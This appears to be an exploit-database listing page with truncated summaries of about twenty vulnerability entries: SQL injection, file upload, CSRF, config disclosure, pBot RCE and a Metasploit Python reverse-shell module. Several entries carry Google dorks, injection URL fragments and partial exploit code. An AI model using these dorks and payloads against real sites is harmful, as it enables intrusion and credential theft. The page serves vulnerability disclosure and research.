CVE-2010-5205

CVE-2010-5205 concerns untrusted search path vulnerabilities in e-press ONE Office Author, enabling local privilege escalation via Trojan horse DLLs (java_msci.dll or msci_java.dll) placed in the current working directory, demonstrated with a directory containing a .psw file. Connected records co...

Syracus CMS SQL Injection

Exploit Title : Syracuse Cms Sql Injection Vulnerability Author : IrIsT.Ir Discovered By : Am!r Home : http://IrIsT.Ir/forum Software Link : http://www.lerentech.com/ Security Risk : High Version : All Version Tested on : GNU/Linux Ubuntu - Windows Server - win7 Dork : intext:"Syracuse Web Design...

Wordpress (chenpress Plugin) Arbitrary File Upload Vulnerability

a bug in Wordpress chenpress Plugin that allows to us to occur a File Upload on a Remote machin. Exploit Title : Wordpress chenpress Plugin Arbitrary File Upload Vulnerability Author : IrIsT.Ir Discovered By : Am!r Home : http://IrIsT.Ir/forum Software Link : http://wordpress.org Security Risk :...

Douran Portal 3.9.8.25 SQL Injection

The last version of this portal which used by own company, have SQL Injection bug: http://www.douran.com/homepage.aspx?site=DouranPortal&tabid=1SQLi&lang=fa-IR Ver: DOURAN Portal V3.9.8.25 Exploit Title: Douran Portal SQLi Vulnerability Date: 08/31/2012 Author: Persia Security Group - Prince &...

CVE-2011-5134

Unrestricted file upload vulnerability in editor/extensions/browser/file.php in the JCE component before 2.0.18 for Joomla! allows remote authenticated users with the author privileges to execute arbitrary PHP code by uploading a file with a double extension, as demonstrated by .php.gif. NOTE: so...

Unrestricted file upload

Unrestricted file upload vulnerability in editor/extensions/browser/file.php in the JCE component before 2.0.18 for Joomla! allows remote authenticated users with the author privileges to execute arbitrary PHP code by uploading a file with a double extension, as demonstrated by .php.gif. NOTE: so...

Code injection

The setName function in filesystem/File.php in SilverStripe 2.3.x before 2.3.8 and 2.4.x before 2.4.1 allows remote authenticated users with CMS author privileges to execute arbitrary PHP code by changing the extension of an uploaded file...

CVE-2010-5091

The setName function in filesystem/File.php in SilverStripe 2.3.x before 2.3.8 and 2.4.x before 2.4.1 allows remote authenticated users with CMS author privileges to execute arbitrary PHP code by changing the extension of an uploaded file...

Zend Framework Information Disclosure

Vulnerability: Zend Framework SQL Configuration-File disclosure - + Author: W4n73d openforceatlivedotcom - - + Vendor: framework.zend.com + Version: 1.x.x - - + PoC: www.whatever.br/application/configs/application.ini - + EX: // params.username = "root" params.password = "myleetpass" // - + Date:...

Qualikom Canada Inc CMS SQL Injection

Exploit Title: Qualikom Canada Inc cms Sql Injection Vulnerability Google Dork:intext:"Powered by Qualikom Canada Inc." Date: 08/24/2012 Author: Crim3R Vendor Home http://www.qualikom.com/ Tested on: all $ $ ----Author will be not responsible for any damage---- $...

Joomla 1.7 / 2.5 Civicrm Arbitrary File Upload

Exploit Title: joomla 1.7 & 2.5 comcivicrm Arbitrary File Upload Vulnerability Google Dork: inurl:/components/comcivicrm/ Date: 08/22/2012 Author: Crim3R download Link : http://sourceforge.net/projects/civicrm/files/civicrm-stable/ Tested on: all ================================== D3m0:...

PG Portal Pro - Cross-Site Request Forgery

Exploit Title: PG Portal pro CSRF Vulnerability Author: Noxious Team: WE SECRET Gr33tz: Fox link:http://www.hotscripts.com/listing/pg-portal-pro/ CSRF Change Password New Password: Confirm New Password:...

XdCMS takeaway, food ordering, corporate website system multiple vulnerabilities and fixes-vulnerability warning-the black bar safety net

Vulnerability file: System/modeules/member/login.php ifempty$COOKIE'memberuser'||empty$COOKIE'memberuserid' //only judge the Cookie exists 漏洞 文件 :www.xxx.com system/libs/base.class.php if empty$COOKIE'memberuser'|| empty$COOKIE'memberuserid' //only the judgment of the Cookies...

NeoInvoice Blind SQL Injection

NeoInvoice is a multi-tenant open source invoicing system, that currently contains an unauthenticated blind SQL injection condition in signupcheck.php. The input for the value field isn't being properly sanitized, and is used in string concatenation to create the SQL query. See here for the...

Kamads Classifieds 2.0 - Admin Hash Disclosure

Kamads Classifieds 2.0 - Admin Hash Disclosure \n"; print "\nex...........: php $argv0 http://www.target.com/V2AXHTML/admin/admin.php\n"; die; else $ch = curlinit; curlsetopt$ch,CURLOPTURL,"$argv1"; $op1 = curlsetopt$ch,CURLOPTRETURNTRANSFER,true; curlsetopt$ch,CURLOPTUSERAGENT,"Mozilla/4.0...

AraDown Blind SQL Injection Vulnerability

Exploit for php platform in category web applications "; $target = stdin; $ar = array'1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'; echo " Username : "; for$i=1;$i=3...

Joomla! Component com_joomgalaxy 1.2.0.4 - Multiple Vulnerabilities

Exploit Title: Joomla joomgalaxy 1.2.0.4 Multiple Vulnerabilites dork: inurl:comjoomgalaxy Date: 01-08-2012 Author: Daniel Barragan "D4NB4R" Twitter: @D4NB4R site: http://poisonsecurity.wordpress.com/ Vendor: http://www.joomgalaxy.com/ Version: 1.2.0.4 last update on Jul 27, 2012 License:...

Limny 3.3.1 Blind SQL Injection

Exploit Title: Limny v 3.3.1 Blind SQL Injection Date: 31/7/2012 Author: L0n3ly-H34rT Homepage: http://se3c.tk/ Contact: [email protected] Software Link: http://www.limny.org/releases/limny-3.3.1.zip Tested on: Linux/Windows Example 1: http://127.0.0.1/limny-3.3.1/index.php?q=-1' or 57 = '5...

pBot Remote Code Execution

!/usr/bin/perl Exploit Title: pBot Remote Code Execution "" hostauth Date: 31.07.2012 Exploit Author: @bwallHatesTwits Software Link: https://www.firebwall.com/decoding/read.php?u=620d21fd31b87046e94975e03fdafa8a decoded from attempted attack Version: Various versions Tested on: Linux 3.2 use...

Unix Command Shell, Reverse TCP (via Python)

Connect back and create a command shell via Python This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = :dynamic include Msf::Payload::Single include Msf::Payload::Python include...